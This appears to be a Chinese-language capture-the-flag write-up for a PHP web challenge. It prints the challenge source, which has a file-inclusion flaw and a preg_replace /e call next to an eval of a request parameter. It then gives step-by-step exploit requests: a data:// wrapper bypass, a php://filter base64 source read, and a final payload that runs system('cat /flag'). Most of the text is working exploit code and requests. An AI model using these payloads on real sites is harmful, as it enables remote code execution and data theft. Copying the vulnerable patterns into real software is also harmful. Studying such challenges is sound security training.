源码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

绕过：text想要读取I have a dream必须用伪协议传输进去

?text=data://text/plain,I have a dream

访问地址源码用php://filter协议

?file=php://filter/read=convert.base64-encode/resource=next.php

读取到next源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
    @eval($_GET['cmd']);
}

构造payload

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');